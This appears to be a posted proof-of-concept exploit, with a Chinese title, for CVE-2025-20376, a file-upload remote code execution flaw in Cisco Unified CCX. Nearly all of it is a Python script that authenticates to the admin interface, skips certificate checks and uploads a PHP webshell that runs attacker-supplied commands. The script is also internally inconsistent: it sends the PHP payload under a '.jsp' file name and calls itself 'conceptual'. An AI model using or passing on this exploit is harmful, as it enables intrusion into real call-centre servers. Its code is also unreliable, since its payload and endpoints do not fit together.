CVE-2025-20376 Cisco Unified CCX 文件上传远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-20376 PoC - Cisco Unified CCX File Upload RCE Note: This is a conceptual PoC for educational and security research purposes only. """ import requests import sys import base64 # Target configuration TARGET_IP = "<target_ip>" USERNAME = "<admin_username>" PASSWORD = "<admin_password>" TARGET_URL = f"https://{TARGET_IP}/ccx-admin" def create_malicious_file(): """Generate malicious file payload""" # Example webshell content (for demonstration) webshell = "<?php system($_GET['cmd']); ?>" return webshell def authenticate(): """Authenticate with Cisco Unified CCX admin interface""" session = requests.Session() login_url = f"{TARGET_URL}/j_spring_security_check" login_data = { 'j_username': USERNAME, 'j_password': PASSWORD } try: response = session.post(login_url, data=login_data, verify=False, timeout=30) if response.status_code == 200 and 'login' not in response.url.lower(): return session except requests.exceptions.RequestException as e: print(f"[-] Authentication failed: {e}") return None def upload_malicious_file(session): """Upload malicious file via vulnerable endpoint""" upload_url = f"{TARGET_URL}/fileupload" files = { 'file': ('exploit.jsp', create_malicious_file(), 'application/octet-stream') } try: response = session.post(upload_url, files=files, verify=False, timeout=30) if response.status_code == 200: print("[+] File uploaded successfully") return True except requests.exceptions.RequestException as e: print(f"[-] File upload failed: {e}") return False def main(): print("[*] CVE-2025-20376 - Cisco Unified CCX File Upload RCE") print("[*] Use only in authorized testing environments") session = authenticate() if session: print("[+] Authentication successful") if upload_malicious_file(session): print("[+] Exploitation successful - Check for RCE") else: print("[-] Failed to authenticate") if __name__ == "__main__": main()